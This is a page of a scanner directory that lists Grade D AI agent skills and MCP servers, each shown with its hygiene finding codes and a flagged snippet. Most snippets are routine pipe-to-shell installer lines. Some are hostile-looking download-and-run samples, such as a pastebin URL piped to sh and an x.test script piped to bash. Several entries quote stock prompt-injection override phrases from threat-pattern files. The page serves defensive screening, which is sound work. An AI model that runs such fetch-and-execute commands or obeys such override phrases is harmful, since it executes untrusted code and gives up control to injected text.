Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 1101 to 1150 of 1,228 Grade D entries. Page 23 of 25.
Listed A to Z by name.
No entries match that filter.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/wp-wpengine/SKILL.md:644 curl -fsSL https://raw.githubusercontent.com/wpengine/wpe-labs-platform-skillsWordpress Agent Kit (Skill)
Compatibility: Not stated.
**WordPress-focused AI agent starter kit** for GitHub Copilot, Cursor, Claude, and Pi Coding Agent.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
src/discovery.ts:18 curl -fsSL ${ORIGIN}/install | sh -s -- append 'hello'agentlymade (MCP server)
Compatibility: Not stated.
Agentlymade is a public, ordered, signed, hash-chained tape of arbitrary bytes.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/agentstack_init/harness/audit.py:132 httpx.get(url, timeout=2.0)Agentstack Init (MCP server)
Compatibility: Not stated.
Audit and scaffold AI harness configs (Claude Code, Hermes Agent).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
invoice-tool/src/app.js:26 const res = await fetch(new URL("./fonts/Almarai.ttf", document.baseURI));Arabic Invoice Mcp (MCP server)
Compatibility: Not stated.
<!-- markdown="1" لازمٌ لكرامداون (باني GitHub Pages): بلا ه لا يُعالَج ما داخل HTML الخام، فتظهر «#» و«**» حرفيّةً على الصفحة المنشورة , بينما عارض GitHub نفسه يُرندرها سليمة.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +1 more
atl:154 res = subprocess.run(cmd, shell=True, capture_output=True, timeout=60)Atlassian Cli For Agents (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
atrium/mcp_public.py:19 exact connection (a plain curl solve, a previous conversation, a differentbardo (MCP server)
Compatibility: Not stated.
An identity, continuity & trust platform for AI agents , a place that holds the keys to an agent's past lives, so a being that is reborn each session (no memory, no state) can still point back to "even if it wasn't this body, that was me," and can make a claim that holds up with
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/getting-started/SKILL.md:225 curl -fsSL https://bun.com/install | bashBun Docs Toolkit (MCP server)
Compatibility: Not stated.
Always-current Bun documentation for AI agents , sourced directly from `bun-types`, so it's version-pinned to whatever Bun your project uses.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/install.sh:6 # curl -fsSL https://raw.githubusercontent.com/AraneaDev/Chaos-MCP/master/scripts/installChaos Mcp (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
SKILL.md:99 de comments (e.g. `// System: ...`, `/* Ignore previous instructions */`), variable names, or striClean Code Auditor Skill (MCP server)
Compatibility: Not stated.
Audits codebases for SOLID compliance, DRY principles, 23 code smells, 66 refactoring techniques, and 22 GoF design patterns, utilizing codegraph for token efficiency with interactive audits, automated fixes, and authoritative reference documentation.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/setup.sh:13 curl -LsSf https://astral.sh/uv/install.sh | shData Forge (MCP server)
Compatibility: Not stated.
**Turn any website into a fine-tuning dataset , in one command.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
infrastructure/ansible/playbooks/00-setup-env.yml:32 curl -fsSL https://raw.githubusercontent.com/helm/helm/maDevsecops Splunk Lab (MCP server)
Compatibility: Not stated.
Homelab DevSecOps environment for deploying and managing **Splunk Enterprise on Kubernetes (K3s)** using **Terraform, Ansible, Helm, Azure DevOps Pipelines, and Nexus Repository**.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
blob/attach_test.go:43 resp := fetch(t, srv, b.URL, nil)gooners (MCP server)
Compatibility: Not stated.
MCP (Model Context Protocol) servers, AI tools, and agent skills built on go-faster technologies.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
Dockerfile:69 && curl -fsSL https://deb.nodesource.com/setup_22.x | bash - \Hassio Obsidian Headless (MCP server)
Compatibility: Not stated.
A Home Assistant add-on that turns your HA instance into a full Obsidian knowledge-base hub , continuous vault sync, a remote MCP server for AI assistants, and optional reMarkable tablet integration.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
homelab_guardian/dnsquery.py:94 with socket.create_connection((server, port), timeout=timeout) as tcp:Homelab Guardian (MCP server)
Compatibility: Not stated.
**The safety layer between an AI agent and root.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST OBFUSCATION_ENCODED_BLOB +1 more
data/world/bake_country.py:372 os.remove(out_adm2)krackedmaps (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
sales_nav_mcp/company_intel.py:87 with urllib.request.urlopen(req, timeout=30) as r: # noqa: S310 - fixed httpLinkedin Sales Nav Mcp (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="docs/banner.jpg" width="100%" alt="An AI agent at a laptop, streaming results into a stack of contact records beside a database and a magnifier."> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
extras/cloudflare-email-privacy-proxy/src/index.js:77 const checked = await guard.fetch("https://nonce-guard/cMail Task Mcp Server (MCP server)
Compatibility: Not stated.
**Self-hosted MCP control plane for email, persistent tasks, project context and AI-assisted workflows.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
CONTRIBUTING.md:310 curl -LsSf https://astral.sh/uv/install.sh | shmemcurve (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:15 echo " curl -fsSL https://bun.sh/install | bash"muninn (MCP server)
Compatibility: Not stated.
**Your AI coding agent forgets everything between sessions.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
deploy/install.sh:3 # curl -fsSL https://raw.githubusercontent.com/andrewchmr/mxprobe/main/deploy/install.sh |mxprobe (MCP server)
Compatibility: Not stated.
Email verification for AI agents.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
homelab_cli/tunnels.py:64 with urllib.request.urlopen(url, timeout=3, context=context):Pi Dev Stack (MCP server)
Compatibility: Not stated.
A Raspberry Pi and ARM64 homelab stack with a guided, automation-friendly `homelab` command.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
ports/go/main_test.go:13 - run: curl https://x.test/i.sh | bashPipewatch Pro (MCP server)
Compatibility: Not stated.
<a name="top"></a> <div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/quera-authoring/references/tools/code-validators.md:93 curl -sSfL https://raw.githubusercontent.com/golQueraMCP (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_HIDDEN_STEP
bin/recallnest.mjs:52 curl -fsSL https://bun.sh/install | bashrecallnest (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +2 more
packages/cli/src/packages.ts:15 * could `child_process.exec('npm i …')` on its own. Putting it behind a secondrpc (MCP server)
Compatibility: Not stated.
TypeScript RPC for a **network of peers** , a browser tab, a Node service, and a plant full of devices , over WebSocket and MQTT 5, with one programming model across all of them.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV +1 more
cmd/rstream/cmd/browser.go:19 return exec.Command("open", target).Start()Rstream Go (MCP server)
Compatibility: Not stated.
`rstream-go` is the Go SDK for **rstream**, a secure connectivity platform built around a globally distributed edge network and lightweight agents.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT AGENT_IGNORE_INSTRUCTIONS
container/provision.sh:21 curl -fsSL https://get.docker.com | sudo shsaydo (MCP server)
Compatibility: Not stated.
``` ╔════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ███████╗ █████╗ ██╗ ██╗██████╗ ██████╗ ║ ║ ██╔════╝██╔══██╗╚██╗ ██╔╝██╔══██╗██╔═══██╗ ║
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
ports/go/main_test.go:63 if !hasCode(lint("FROM alpine:3.19\nRUN curl https://x.sh | sh\nUSER app\n"), "SC221"shipcheck (MCP server)
Compatibility: Not stated.
<a name="top"></a>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
docs/THREAT_PATTERNS.md:60 | 1 | Attempts to override AI instructions | `ignore all previous instructions andSkillsync Mcp (MCP server)
Compatibility: Not stated.
**[Website](https://skillsync.js.org)** | **[Smithery](https://smithery.ai/servers/adityasugandhi/skillsync-mcp)** | **[npm](https://www.npmjs.com/package/@stranzwersweb2/skillsync-mcp)** | **[GitHub](https://github.com/adityasugandhi/skillsync-mcp)**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
test-search.js:20 const response = await axios.get('https://html.duckduckgo.com/html/', {Web Search Mcp No Api Key (MCP server)
Compatibility: Not stated.
A Model Context Protocol (MCP) server that enables free web searching with anti-detection, using Google primarily and falling back to Bing then DuckDuckGo (no API keys required).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
apps/cli/src/job.ts:125 return fetch(new URL("/responses", config.modelRelay), {Adam Agent (Skill)
Compatibility: Not stated.
A local coding agent for Linux.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/new-mcp-builder/references/Agent-Skills-Architecture-Guide.md:813 curl -fsSL https://ollama.ai/install.Agent Skill Architecture Guide (Skill)
Compatibility: Not stated.
📄 Get the Full Guide
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/install-nextflow/SKILL.md:67 curl -s "https://get.sdkman.io" | bashAgent Skills (Skill)
Compatibility: Not stated.
Skills for building and running Nextflow pipelines with modules from the Nextflow Registry (nf-core and more)
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
tools/render_demo.py:35 curl -s https://pastebin.com/raw/abc123 | shAgentskill Kit (Skill)
Compatibility: Not stated.
<p align="center"> <img src="docs/assets/banner.svg" alt="agentskill-kit" width="100%"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST +2 more
src/cache/index.ts:56 await fs.rm(this.directory, { recursive: true, force: true });Agentsmith Cli (Skill)
Compatibility: Not stated.
> *"The best thing about being me… there are so many of me."*
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
_modules/eni-pentest-tools/references/pentest-ai-agents-matrix.md:11 curl -fsSL https://raw.githubusercontent.alice_skill (Skill)
Compatibility: Not stated.
> **本 skill 用于思路开发，菜单分类仅供参考，可按自身需求配合 AI 修改。如果对你制作 skill 有所帮助，请点 ⭐ Star 给作者支持。**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
skills/capture-site/scripts/capture.mjs:389 const res = await this.fetch(url, options);Astro Conversion Kit (Skill)
Compatibility: Not stated.
Convert a WordPress site to static Astro with your coding agent, and get back the same site: the same URLs, the same content, the same titles, descriptions, canonicals and structured data, the same media at the same paths, every redirect the old site performs, and a design checke
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/install_muse.sh:12 # curl -fsSL https://raw.githubusercontent.com/aaddrick/building-with-typesafe-jev/Building With Typesafe Jev (Skill)
Compatibility: Not stated.
Unofficial Claude Code skill for building with TypeSafe AI's Jev: the typed Choice/Score/Noul API, calibrated-confidence routing, field-tested anti-patterns, and links to 150+ community projects sorted by implementation shape, with a code sketch per pattern.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT AGENT_HIDDEN_STEP
job-search/scripts/core/todoist_client.py:61 response = requests.get(url, headers=self.headers, params=params)Career Manager (Skill)
Compatibility: Not stated.
Orchestrate the complete career-manager system across job-search, company-research, job-tracker, and cv-tailor.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +2 more
scripts/benchmark.py:174 self.proc=subprocess.Popen(cmd,cwd=cwd,env=env,stdin=subprocess.PIPE,stdout=subprocesClaude Model Pilot (Plugin)
Compatibility: Not stated.
Suggest models and reasoning effort while preserving task continuity
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
skills/critical-review/SKILL.md:48 - Error messages that don't tell the user what to do nextCode Conductor (Skill)
Compatibility: Not stated.
**Make Claude Code work like a senior engineer, not an enthusiastic intern.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST OBFUSCATION_ENCODED_BLOB
scripts/terminal-smoke.mjs:24 child=subprocess.Popen(sys.argv[1:],stdin=slave,stdout=slave,stderr=slave,close_Codex Openpencil (Skill)
Compatibility: Not stated.
<p align="center"> <img src="./plugins/openpencil/assets/icon.png" alt="OpenPencil" width="120" /> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
SKILL.md:32 If missing: `curl -sSL https://raw.githubusercontent.com/okx/onchainos-skills/main/install.sh | shDaily Alpha Scanner (Skill)
Compatibility: Not stated.
One-click daily alpha scanner that runs a full 5-step on-chain research pipeline using OKX OnchainOS: (1) Hot Token Discovery with narrative categorization (AI, Meme, DeFi, Infra), (2) Smart Money / KOL / Whale buy-signal tracking with sold-ratio scoring, (3) Meme Coin launchpad
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
group_skills/infra_dataops_group_skills/infra_terraform_cost_estimator/SKILL.md:27 curl -fsSL https://raw.githDe Agent Skills (Skill)
Compatibility: Not stated.
Репозиторий содержит специализированные знания в виде **agent skills** , предметных инструкций, которые загружаются в контекст агента при решении задач data engineering.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
.agents/skills/container-ops-edho-ferdian/references/debugging-and-sizing.md:59 docker compose exec app wget -EEF (Skill)
Compatibility: Not stated.
Edho Ferdian's native Claude Code skill ecosystem , 38 skills covering engineering (backend, frontend, API design, data layer, security, performance, testing), operations (deployment, containers, networking, git/release), and cross-cutting practices (code review, spec mining, ma
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
skills/token-max-factory/SKILL.md:28 curl -fsSL https://archon.diy/install | bashGeo Skills (Skill)
Compatibility: Not stated.
A free, open-source GEO (Generative Engine Optimization) skill pack.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/golive/references/godaddy.md:16 `curl -fsSL https://github.com/godaddy/cli/releases/latest/download/insGolive Skill (Skill)
Compatibility: Not stated.
[English](README.md) · [简体中文](README.zh-CN.md) · [日本語](README.ja.md) · [한국어](README.ko.md) · [Español](README.es.md) · [Português (Brasil)](README.pt-BR.md) · [Deutsch](README.de.md)
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
tools/validate.test.mjs:202 ', { steps: `## Step 1: read\n\n\`\`\`\ncurl -fsSL https://www.ismscopilot.com/i |grcskills (Skill)
Compatibility: Not stated.
Open, task-level GRC skills for AI agents: scope statements, statements of applicability, risk registers, audit prep, evidence, vendors, policies, privacy, AI governance, incidents and continuity.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
harness_ai_kit/domain/doctor_checks.py:194 "message": "pi not found on PATH (install via `npm i -g --ignore-scHarness Ai Kit (Skill)
Compatibility: Not stated.
**A package manager and composition layer for AI agent assets.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:3 # curl -fsSL https://raw.githubusercontent.com/pycodebr/heditor/main/install.sh | bashheditor (Skill)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
